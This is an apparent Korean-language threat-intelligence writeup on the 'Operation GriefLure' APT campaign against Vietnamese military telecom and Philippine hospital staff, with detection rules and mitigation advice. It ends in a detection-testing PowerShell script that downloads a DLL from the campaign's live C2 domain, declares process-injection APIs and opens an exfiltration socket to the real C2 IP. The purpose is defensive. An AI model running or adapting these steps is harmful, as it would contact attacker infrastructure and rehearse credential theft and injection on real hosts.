GriefLure 작전: 베트남 군사 통신 및 필리핀 보건의료를 겨냥한 APT 캠페인 분석
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Seqrite Labs는 악성 Windows LNK 파일이 두 번 압축된 RAR 아카이브 내부에 숨겨진 형태로 의존한 타겟 스피어피싱 캠페인을 확인했습니다. 열리면, LNK는 기본 ftp.exe 로더를 실행하여 조각화된 sfsvc.exe 페이로드를 재구성했습니다. .doc 피해자의 기기에 저장된 파일에서. 이 활동은 베트남 군소유 통신 부문 내 고위 경영진 및 필리핀의 사립 병원 직원들을 대상으로 정당해 보이는 문서를 미끼로 사용하여 진행되었습니다. 전체 감염 체인은 10초도 안 되는 시간에 완료되었으며 디스크에 최소한의 아티팩트만 남겼습니다.
조사
조사는 아카이브 구조를 분석하고, LNK 실행 경로를 맵핑하며, 맞춤형 sfsvc.exe 로더를 역설계하여, regsvr32.exe로 보이도록 설계된 것을 밝혔습니다. 분석가들은 DLL 사이드로딩, 메모리 내 쉘코드 실행, 프로세스 인젝션 및 의심스러운 도메인을 통한 C2 통신을 문서화했습니다. 아티팩트 검토 과정에서는 하드코딩된 C2 도메인, www.whatsappcenter.com, 홍콩에서 불릿프루프 서비스 제공자를 통해 호스팅되었습니다.
완화
방어자는 이메일 첨부파일로 전달된 LNK 파일의 실행을 차단하고 기본적인 ftp.exe 명령행 인자를 사용하는 파일을 적극적으로 모니터링해야 합니다. 엔드포인트 탐지는 파일 없는 DLL 로딩, C:UsersPublicUpdate하의 대체 데이터 스트림 쓰기 및 sfsvc.exe의 급속한 생성을 집중적으로 모니터링해야 합니다. 조직 또한 문서 진위 확인을 강화하고 합법적인 법적 또는 내부 고발자 관련 파일로 보이는 미끼에 대해 사용자를 교육해야 합니다.
응답
악성 LNK 또는 sfsvc.exe 프로세스가 감지되면, 감염된 엔드포인트를 즉시 격리하고, volatile 메모리를 수집하여 탐색하고 360.*.dll 로더 파일 및 대체 데이터 스트림 아티팩트를 찾아야 합니다. 식별된 C2 도메인 및 관련 IP 주소를 차단하고, 데이터 유출 여부를 확인하기 위한 사고 대응을 시작해야 합니다. 또한, 환경 전반에서 유사한 LNK 구동 ftp.exe 로더 활동을 위한 더 넓은 탐색을 실시해야 합니다.
공격 흐름
탐지
명령행을 통한 이중 확장 (cmdline)을 가진 잠재적 악성 LNK 파일
보기
비정상적인 확장을 가진 FTP 스크립트 실행 가능성 (cmdline)
보기
공용 사용자 프로필에서의 의심스러운 실행 (프로세스 생성)
보기
대체 원격 액세스 / 관리 소프트웨어 (프로세스 생성)
보기
공용 사용자 프로필의 의심스러운 파일 (파일 이벤트)
보기
Operation GriefLure: 베트남 군사 통신 및 필리핀 의료 부문을 타겟으로 한 APT 캠페인 분해 탐지: IOC (HashSha256)
보기
Operation GriefLure: 베트남 군사 통신 및 필리핀 의료 부문을 타겟으로 한 APT 캠페인 분해 탐지: IOC (SourceIP)
보기
Operation GriefLure: 베트남 군사 통신 및 필리핀 의료 부문을 타겟으로 한 APT 캠페인 분해 탐지: IOC (DestinationIP)
보기
Operation GriefLure C2 통신 탐지 [Windows 네트워크 연결]
보기
ftp.exe 및 sfsvc.exe를 사용한 Operation GriefLure 활동 탐지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
사전 요구 사항: 원격 관측 및 기준 프리플라이트 점검이 완료되어야 합니다.
명분: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적의 기술 실행을 상세히 설명합니다. 명령 및 이야기는 식별된 TTP를 직접 반영하고 탐지 논리에 의해 기대되는 정확한 원격 관측을 생성해야 합니다. 추상적이거나 관련 없는 예는 오진을 초래할 수 있습니다.
-
공격 서사 및 명령:
공격자는 피싱 첨부 파일을 통해 초기 접촉을 얻은 후 (T1566.001, T1204.002), 실행 가능한 페이로드를 피하기 위해 실생할 수 있는 접근 방식을 선택합니다. 내장된cmd.exe(T1059.003)를 사용하여 PowerShell 원라이너를 실행하고, 다음 단계를 수행합니다:- 탐색 – 시스템 정보(탐색)T1082)와 실행 중인 프로세스(T1057)를 열거하여 적절한 인젝션 대상을 결정합니다.
- 자격 증명 수집 – 브라우저 저장소 읽기(T1555.003) 및 자격 파일 덤프(T1552.001)를 스테이징 폴더로 설정합니다.
- 페이로드 검색 – C2 도메인에서 악성 DLL 다운로드
www.whatsappcenter.com:T1071.001, T1041). - 프로세스 인젝션 – DLL을
explorer.exe(T1055.001)에 주입하여 지속성을 얻고 권한을 상승시킵니다. - C2 통신 – 지속적인 TCP 연결을 열고
38.54.122.188(하드코딩된 IP)으로 수집한 데이터를 유출하기 시작합니다.
Sigma 규칙을 만족하는 핵심 단계는 정확한 도메인/IP에 대한 아웃바운드 연결 시도이며, 이는 Sysmon 및 Windows 방화벽에 의해 기록됩니다.
-
회귀 테스트 스크립트:
# ------------------------------------------------- # GriefLure C2 시뮬레이션 – PowerShell 버전 # ------------------------------------------------- # 1. 시스템 발견 (T1082, T1057) Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null Get-Process | Select-Object -First 5 | Out-Null # 2. 자격 증명 수집 시뮬레이션 (T1555.003, T1552.001) $credStaging = "$env:TEMPcreds.txt" "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging # 3. 하드코딩된 C2 도메인에서 악성 DLL 다운로드 (T1071.001, T1041) $c2Domain = "www.whatsappcenter.com" $c2Url = "https://$c2Domain/payload.dll" $dllPath = "$env:TEMPpayload.dll" Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing # 4. explorer.exe에 DLL 주입 (T1055.001) $target = (Get-Process -Name explorer).Id $inject = @" using System; using System.Runtime.InteropServices; public class Injector { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ Add-Type $inject # (실제 인젝션 단계는 간단하게 설명되어 생략; 실험에서 위 API를 호출해야 합니다.) # 5. 하드코딩된 IP (T1041)로 지속적인 C2 소켓 열기 $c2Ip = "38.54.122.188" $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($c2Ip, $port) $stream = $client.GetStream() $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START") $stream.Write($payload,0,$payload.Length) Start-Sleep -Seconds 5 $stream.Close() $client.Close() -
정리 명령:
# 스테이징 파일 제거 Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue # 열린 TCP 연결이 있으면 닫기 Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Sysmon 버퍼 초기화 (반복 테스트를 위해 깨끗한 상태 유지) & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml